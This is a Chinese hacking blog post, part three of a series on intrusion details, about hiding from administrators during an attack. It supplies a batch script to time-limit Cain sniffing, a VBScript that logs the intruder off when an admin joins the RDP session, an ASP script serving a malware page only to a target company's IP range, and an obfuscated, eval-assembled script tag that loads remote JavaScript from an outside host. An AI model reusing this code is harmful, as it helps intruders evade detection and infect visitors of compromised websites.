当前位置: 移动技术网 > 网络运营>安全>网站安全 > 请注意入侵过程中的细节(三)(图)

请注意入侵过程中的细节(三)(图)

2018年03月25日  | 移动技术网网络运营  | 我要评论
前两期中的专栏中,针对细节入侵这一专题,我分别写了我在内网和注入中注意到的一些细节。其实入侵过程中,有时候难免会与管理员面对面,如何更好的隐蔽自己也是很重要的,一旦不注意,入侵工作往往前功尽弃。这期专栏中,我就如何隐蔽自己所做的一些工作,所注意到的细节来写一下。

先来说一下嗅探吧。大家常用的工具是cain,用法大家都会了。但是cain在嗅探过程中,如果遇到流量较大的目标机,往往会把装cain的主机搞死,从而引起管理员的注意。像有的时候,嗅了一阵后,就会把3389搞死。我也没有更好的办法,只能让cain嗅一段时间后停止,再重新开始。如果每次都是手工去停止cain,有时候时间掌握的不及时,3389已经死掉了。其实解决这个问题很简单,一个简单的批处理脚本就可以了。脚本内容如下:

ping 127.0.0.1 -n 5000>nul
taskkill /f /pid 4144

上边批处理脚本中,5000是秒数,用来控制cain的嗅探时间。4144是cain的进程数,可以自己用tasklist查一下就知道了。这样一来,你可以放心在嗅探这段时间内去做别的事了。

再来呢,用cain嗅探一般会在3389上,这时候如果碰到管理员登陆3389也不太好办,我的好友netpatch写过一个终端监视脚本,一旦发现有两人同时登陆终端的话就注销自己。脚本内容如下:

on error resume next
set arg=wscript.arguments
if arg.count=0 then
wscript.echo "use:// cscript.exe fs.vbs port"
sleep 1000
wscript.quit
end if
tport=arg(0)
runs=false
while runs=false
dim oshell,oexec,strout,oregexp,matches,match,num,tport
set oshell = wscript.createobject("wscript.shell")
set oexec = oshell.exec("netstat -an")
set oregexp = new regexp
oregexp.pattern = "tcp[\s] [\d\.] :"&tport&"[\s] [\d\.] :[\d] [\s] established"
oregexp.ignorecase = true
oregexp.global = true
do while not oexec.stdout.atendofstream
strout = strout & oexec.stdout.readline() & chr(13) & chr(10)
loop
set matches = oregexp.execute(strout)
num = 0
for each match in matches
num = num 1
next
if num > 1 then
runs=true
oshell.run "logoff"
end if
set matches = nothing
set oregexp = nothing
set oexec = nothing
set oshell = nothing
wend

用此脚本,登陆终端时打开就可以了,这也是一个比较好的隐藏自己的办法。

最后来说一下挂马。挂马的隐蔽方法也有很多,以前黑手上讲过几期。如果只是盲目的挂马多搞几台肉鸡的话,那个随便你了。但是有时候我们入侵了一个公司的 web站,目标却是他们的内网。这时候你挂马可能会挂出太多的无用机器,如果你知他们公司内网出口的ip段的话,我们可以限制一下ip段使其更有针对性。这个asp脚本如下:
<%
''获取访问者的地址
ip=request.servervariables("remote_addr")
'允许的ip地址段为
allowip1="221.221.221.1"
allowip2="221.221.221.254"
if checkip(ip,allowip1,allowip2)=true then
response.write "你挂马的页面"
end if
function checkip(ip,allowip1,allowip2)
dim check(4)
checkip=false
ipstr=split(ip,".")
allow1=split(allowip1,".")
allow2=split(allowip2,".")
if cint(allow1(0))>cint(allow2(0)) then ''判断ip地址段是否合法
response.write "禁止访问"
exit function
end if
for i=0 to ubound(ipstr)
if cint(allow1(i))<cint(allow2(i)) then
if cint(allow1(i))=cint(ipstr(i)) then
check(i)=true
checkip=true
exit for
else
if cint(ipstr(i))<cint(allow2(i)) then
exit for
else
if cint(ipstr(i))>cint(allow2(i)) then
check(i)=false
checkip=false
exit for
else
check(i)=true
checkip=true
end if
end if
end if
else
if cint(allow1(i))>cint(ipstr(i)) or cint(allow1(i))<cint(ipstr(i)) then
check(i)=false
checkip=false
if i<>ubound(ipstr) then
exit for
end if
else
check(i)=true
end if
end if
next
if (check(0)=true and check(1)=true and check(2)=true and check(3)=false) and (cint(allow2(2))>cint(ipstr(2))) then
checkip=true
end if
end function
%>

这个脚本也许考虑得不太周到,但是我觉得足够用了。挂马的隐蔽方法也有很多,我最常用的是代码分隔法。记得剑心有篇文章,提到过最短的跨站方法,我们也可以用这种方法来挂马的。好比常规挂马语句<script src=http://www.110.cn/1.js></script>拆分一下转换为:

<script>z='document.'</script>
<script>z=z 'write("'</script>
<script>z=z '<script'</script>
<script>z=z ' src=ht'</script>
<script>z=z 'tp://ww'</script>
<script>z=z 'w.110'</script>
<script>z=z '.cn/1.'</script>
<script>z=z 'js></sc'</script>
<script>z=z 'ript>")'</script>
<script>eval(z)</script>

这样转换的好处是上边的每一行可以分开插入在同一页面不同行中,这样一来就会隐蔽一点了。当然如何更好的隐蔽自己有很多不同的办法,各人各有巧妙不同。这篇文章只是抛砖引玉,能引起大家的思考我就心满意足了。

如对本文有疑问, 点击进行留言回复!!

相关文章:

验证码:
移动技术网